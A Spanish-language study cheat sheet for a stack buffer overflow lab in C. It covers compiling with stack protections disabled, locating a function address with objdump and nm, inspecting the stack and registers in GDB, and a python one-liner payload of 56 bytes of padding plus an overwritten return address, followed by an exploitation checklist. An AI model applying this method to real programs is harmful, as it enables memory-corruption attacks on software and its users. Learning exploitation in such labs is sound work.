Este documento es un resumen práctico para mini‑labs de buffer overflow en C (stack), orientado a inspección, aprendizaje y debugging con GDB. Me base primero en exploiting buffer overflows is too simple. (do it with me)
⚠️ Uso educativo. No para explotación real. Ya que para que funcione hay que desactivar muchos mecanismos que son por defecto.
gcc overflow.c -o overflow \
-fno-stack-protector \
-z execstack \
-no-pie \
-g \
-O0| Flag | Función | Por qué importa |
|---|---|---|
-fno-stack-protector |
Desactiva stack canaries | Evita aborts automáticos |
-z execstack |
Stack ejecutable | Histórico / educativo |
-no-pie |
Desactiva PIE | Direcciones fijas |
-g |
Símbolos de debug | GDB usable |
-O0 |
Sin optimizaciones | Stack predecible |
gcc overflow.c -o overflow_safe -gActiva por defecto:
- PIE: esto genera direcciones random a las funciones.
- Stack canaries
- ASLR‑friendly
- Optimizaciones
objdump -d overflow | grep debug_functionSalida típica:
0000000000401176 <debug_function>:
nm overflow | grep debug_functionSalida:
0000000000401176 T debug_function
| Letra | Significado |
|---|---|
T |
Función en .text |
t |
Función local |
U |
Símbolo indefinido |
info functions
p debug_functionrun
run < input.txtb main
b debug_function
b overflow.c:14info breakpoints
delete 1runnext # ejecuta línea
step # entra en función
finish # sale de la función
continue # continúa ejecuciónAca podemos ver la ejecucion se agrego un brackpoint en la linea 14 (con el debbuger corriendo se agrega: break bad_code y luego se ejecuta con run)
en el screenshot se ve el dump del stack x/32gx $rsp se explica mas adelante.

info registers
p $rsp
p $rbp
p $rip| Registro | Uso |
|---|---|
$rsp |
Top del stack |
$rbp |
Base del frame |
$rip |
Instrucción actual |
x/32gx $rspFormato:
x→ examine32→ cantidadg→ 8 bytesx→ hexadecimal
x/64xb small_bufferIdeal para ver:
- padding
- overflow real
- bytes sobrescritos
p &small_buffer
p $rbpoffset = rbp - &small_buffer
bt
bt fullinfo frameMuestra:
python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*56 + (0x401176).to_bytes(8,"little")
)' | ./overflowpython3 -c 'print(b"A"*56)' | hexdump -C- Compilar sin protecciones
- Obtener dirección de la función (
objdump/nm) - Ejecutar en GDB
- Inspeccionar
$rsp - Identificar return address
- Calcular padding (restar direcciones)
- Construir payload
- Verificar memoria
- Confirmar salto
